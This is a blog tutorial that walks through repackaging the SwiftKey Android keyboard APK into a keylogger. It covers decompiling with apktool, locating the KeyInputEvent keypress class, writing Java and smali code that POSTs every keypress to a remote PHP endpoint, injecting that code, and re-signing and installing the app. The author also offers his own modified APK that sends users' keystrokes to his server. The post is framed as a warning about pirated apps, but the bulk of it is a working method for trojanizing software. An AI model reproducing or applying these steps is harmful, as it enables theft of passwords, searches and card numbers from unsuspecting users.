Piracy on Android is a very big problem but I wonder do users realise how easy it is to inadvertently download apps with malware. Cracked copies of PC and iPhone apps can have malware as well of course but on both those platforms most software is compiled to machine code. Android apps are coded in Java and compiled to byte code that is run on the Dalvik VM and this byte code is not that hard to edit and insert back into an APK.
SwiftKey Keyboard is the top paid app in the Play store at the moment and it’s a great app, best €4 I spent but I knew it’d be heavily pirated at that price. Now your standard malware-ridden Android app or game might have some code that sends you annoying notification ads but anyone who sideloads a dodgy copy of a Android keyboard is taking a serious risk of a keylogger being inserted and people tracking all their passwords, Google searches and Credit Card numbers. In this post, I’ll show you how to do exactly that with apktool and Swiftkey from start to finish, all you need is a basic knowledge of Java and Android.
The end result is this Keylogger SwiftKey APK that sends all keylogs to my server. Try it out for yourself, download and install the modified APK, start using it and visit my logger page at www.georgiecasey.com/swiftkey_keylogger/keylogs.php, select your IP and see your keylogs being sent. Scary huh? Goes without saying, be sure to uninstall the app when you see how it works! Continue reading below to see how to do it.
SwiftKey APK
First you’ve got to understand the Android file format that SwiftKey and all other Android apps are in. The Android package, or APK, is the container for an Android app’s resources and executables. It’s a zipped file that for SwiftKey contains simply:
- AndroidManifest.xml (serialized, but apktool decodes to source)
- classes.dex
- lib/
- assets/
- res/
- META-INF/
The actual bytecode of the application is the classes.dex file, or the Dalvik executable that runs on the device. The application’s resources (i.e. images, sound files) reside in the res directory, and the AndroidManifest.xml is more or less the link between the two, providing some additional information about the application to the OS. The lib directory contains native libraries that Swiftkey uses via NDK, and the META-INF directory contains information regarding the application’s signature.
The Tools
There’s a few different tools out there to decompile, compile and resign APKs. All the decompilers are based on or use smali to decompile/compile the classes.dex file. apktool wraps up a few of these tools in one but you still have to re-sign and then install on a device. So then there’s APK multitool which wraps apktool, keytool and other things to let you press one button and have your edited code compiled, zipped, signed and installed to your device via adb all in one go. So download that and set it up but remember it’s just a collection of other tools.
Disassembling SwiftKey
Once you’ve installed APK multitool, you’d normally place your APK in the ‘place-apk-here-for-modding’ folder, open up Script.bat and enter 9 to decompile source and resources. Unfortunately SwiftKey throws errors when you try and recompile resources as it has capitalised resource filenames and was probably compiled with a modified aapt. We call these magick APKs and apktool can’t recompile edited resources but we can still compile edited smali code, which is all we want to make our keylogger anyway.
So enter 27 to change the decompile mode to ‘Source Files only’, then enter 9 to decompile. If nothing goes wrong, there’ll be a folder created inside projects called ‘com.touchtype.swiftkey-1.apk’ containing:
- AndroidManifest.xml (still serialized, remember we didn’t decompile resources)
- res/ (same as in APK)
- smali/
- apktool.yml
The smali directory is probably the most important of the three, as it contains a set of smali files, or bytecode representation of the application’s dex file. You can think of it as an intermediate file between the .java and the executable. Inside the directory we have ‘com’,’oauth’ and ‘org’. We’re looking for code that we can place our keylogger so we can ignore oauth as that’s obviously a library for oauth access. org contains some Apache Commons library so that can be ignored as well. Inside com, android and google directories are to be ingored as well, it’s the touchtype and touchtype_fluency directories that we’re interested in.
I’ve done the hard work already and found what we’re looking for in the ‘touchtypekeyboardinputeventmodelevents’ directory. Go there and open up KeyInputEvent.smali in a text editor. We’re very lucky that SwiftKey isn’t ProGuard protected which obfuscates code and really slows down reverse engineering but never makes it impossible.
Reading the Smali
So let’s examine some of the KeyInputEvent smali code:
.class public abstract Lcom/touchtype/keyboard/inputeventmodel/events/KeyInputEvent;
.super Lcom/touchtype/keyboard/inputeventmodel/events/TextInputEvent;
.source "KeyInputEvent.java"
# direct methods
.method public constructor (Lcom/touchtype_fluency/service/TouchTypeExtractedText;Ljava/lang/CharSequence;)V
.locals 0
.parameter "extractedText"
.parameter "inputText"
.prologue
.line 8
invoke-direct {p0, p1, p2}, Lcom/touchtype/keyboard/inputeventmodel/events/TextInputEvent;->(Lcom/touchtype_fluency/service/TouchTypeExtractedText;Ljava/lang/CharSequence;)V
.line 9
return-void
.end method
This class seems to be called whenever the user makes a single keypress in SwiftKey but not when using flow. The constructor is what we’re looking at and is called with 2 parameters, an instance of a ‘com/touchtype_fluency/service/TouchTypeExtractedText’ class and a CharSequence which is the key pressed. We want to send this key to our servers so we need to insert the code here. If you’re a smali expert you can code it directly and compile but we’re not so we’ll code some in Java first, decompile and copy the smali over. We also want to send it in an AsyncTask as the keyboard is way too slow without it. This is my Java code which we’ll call MainActivity.java, part of a package called ‘com.androidapps.tutorial’:
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
CharSequence cs = "Hi how are u";
HashMap<String, String> data = new HashMap<String, String>();
data.put("data", cs.toString());
AsyncHttpPost asyncHttpPost = new AsyncHttpPost(data);
asyncHttpPost.execute("http://www.android-app-development.ie/swiftkey_keylogger/keypresses.php");
}
public class AsyncHttpPost extends AsyncTask<String, String, String> {
private HashMap<String, String> mData = null;// post data
/**
* constructor
*/
public AsyncHttpPost(HashMap<String, String> data) {
mData = data;
}
/**
* background
*/
@Override
protected String doInBackground(String... params) {
byte[] result = null;
String str = "";
HttpClient client = new DefaultHttpClient();
HttpPost post = new HttpPost(params[0]);// in this case, params[0] is URL
try {
// set up post data
ArrayList nameValuePair = new ArrayList();
Iterator it = mData.keySet().iterator();
while (it.hasNext()) {
String key = it.next();
nameValuePair.add(new BasicNameValuePair(key, mData.get(key)));
}
post.setEntity(new UrlEncodedFormEntity(nameValuePair, "UTF-8"));
HttpResponse response = client.execute(post);
StatusLine statusLine = response.getStatusLine();
if(statusLine.getStatusCode() == HttpURLConnection.HTTP_OK){
result = EntityUtils.toByteArray(response.getEntity());
str = new String(result, "UTF-8");
}
}
catch (UnsupportedEncodingException e) {
e.printStackTrace();
}
catch (Exception e) {
}
return str;
}
/**
* on getting result
*/
@Override
protected void onPostExecute(String result) {
// something...
}
}
When we export this from Eclipse as an APK, decompile and look at the directory we find 2 files, MainActivity.smali and MainActivity$AsyncHttpPost.smali. The ‘$’ in the filename means it’s the AsyncHttpPost inner class. Let’s look at the onCreate of MainActivity:
MainActivity.smali
.method protected onCreate(Landroid/os/Bundle;)V
.locals 6
.parameter "savedInstanceState"
.prologue
.line 146
invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
.line 149
const-string v1, "Hi how are u"
.line 150
.local v1, cs:Ljava/lang/CharSequence;
new-instance v2, Ljava/util/HashMap;
invoke-direct {v2}, Ljava/util/HashMap;->()V
.line 151
.local v2, data:Ljava/util/HashMap;,"Ljava/util/HashMap<Ljava/lang/String;Ljava/lang/String;>;"
const-string v3, "data"
invoke-interface {v1}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
move-result-object v4
invoke-virtual {v2, v3, v4}, Ljava/util/HashMap;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
.line 152
new-instance v0, Lcom/androidapps/tutorial/MainActivity$AsyncHttpPost;
invoke-direct {v0, p0, v2}, Lcom/androidapps/tutorial/MainActivity$AsyncHttpPost;->(Lcom/androidapps/tutorial/MainActivity;Ljava/util/HashMap;)V
.line 153
.local v0, asyncHttpPost:Lcom/androidapps/tutorial/MainActivity$AsyncHttpPost;
const/4 v3, 0x1
new-array v3, v3, [Ljava/lang/String;
const/4 v4, 0x0
const-string v5, "http://www.android-app-development.ie/swiftkey_keylogger/keypresses.php"
aput-object v5, v3, v4
invoke-virtual {v0, v3}, Lcom/androidapps/tutorial/MainActivity$AsyncHttpPost;->execute([Ljava/lang/Object;)Landroid/os/AsyncTask;
.line 158
return-void
.end method
So we better explain some of this code. The first line is the smali method definition of onCreate with the Bundle parameter passed in and the return type at the end, which is V for void. Java primitives are denoted by a single letter and can be missed sometimes so keep an eye out for them.
V void
Z boolean
B byte
S short
C char
I int
J long (64 bits)
F float
D double (64 bits
Next line is very important for us, it declares how many local registers are to be used in this method without including registers allocated to the parameters of the method. The number of parameters for any given method will always be the number of input parameters + 1. This is due to an implicit reference to the current object that resides in parameter register 0 or p0 (in java this is called the “this” reference). The registers are essentially references, and can point to both primitive data types and java objects. Given 6 local registers, 1 parameter register, and 1 “this” reference, the onCreate() method uses an effective 8 registers
For convenience, smali uses a ‘v’ and ‘p’ naming convention for local vs. parameter registers. Essentially, parameter (p) registers can be represented by local (v) registers and will always reside in the highest available registers. For this example, onCreate() has 6 local registers and 2 parameter registers, so the naming scheme will look something like this:
v0 - local 0
v1 - local 1
v2 - local 2
v3 - local 3
v4 - local 4
v5 - local 5
v6/p0 - local 6 or parameter 0 (this)
v7/p1 - local 7 or parameter 1 (android/os/Bundle)
Opcodes
Dalvik opcodes are relatively straightforward, but there are a lot of them. For the sake of this post’s length, we’ll only go over a few of the most commonly used opcodes.
- invoke-super vx, vy, … invokes the parent classes method in object vx, passing in parameter(s) vy, …
- new-instance vx creates a new object instance and places its reference in vx
- invoke-direct vx, vy, … invokes a method in object vx with parameters vy, … without the virtual method resolution
- const-string vx creates string constant and passes reference into vx
- invoke-virtual vx, vy, … invokes the virtual method in object vx, passing in parameters vy, …
- return-void returns void
Hacking the App
Now that I’ve explained a bit of what the code means, let’s inject it into the KeyInput file of SwiftKey. Note in our exported Smali from MainActivity that it references the ‘com/androidapps/tutorial’ package so we need to change that to the package where KeyInput is which is ‘com/touchtype/keyboard/inputeventmodel/events/’. So open up both MainActivity.smali and MainActivity$AsyncHttpPost and do a search and replace changing ‘com/androidapps/tutorial/MainActivity’ to ‘com/touchtype/keyboard/inputeventmodel/events/KeyInputEvent’.
Next we’ve to ensure we have the right amount of registers in the SwiftKey KeyInputEvent to support our new method calls. We can see that the original constructor uses no local variables and our MainActivity uses 6 so just set locals 0 to locals 6. Then copy our new code in, just before the return void of the constructor. In our injected code, the v1 local variable holds the CharSequence ‘Hi how are u’ which is converted to a String in the ‘invoke-interface {v1}, Ljava/lang/CharSequence;->toString’ line. We need to make the code use the CharSequence key the user pressed which is the second parameter so change v1 to p2. Next copy over our AsyncTask inner class into the same folder as KeyInputEvent.smali and rename it to KeyInputEvent$AsyncHttpPost. Make similiar changes to the TextInputEvent.smali file in the same directory if you want to track SwiftKey flows as well.
Rebuilding, Signing and Installing the Apk
Before it was a bit of work to do these three steps but with APK multitool all you need to do is enter 15 in your project with your phone connected and the app should install. If you encountered any errors, post a comment below and I’ll help you out. I might have left a few things out of this tutorial for brevity’s sake. If it all worked and you didn’t change the POST URL, just start using the keyboard and check my page at www.georgiecasey.com/swiftkey_keylogger/keylogs.php to see what keys are being sent from different IPs! Scary huh? Moral of the story if you want to avoid keyloggers or other malware from your Android? Stick to the Play store and don’t pirate apps!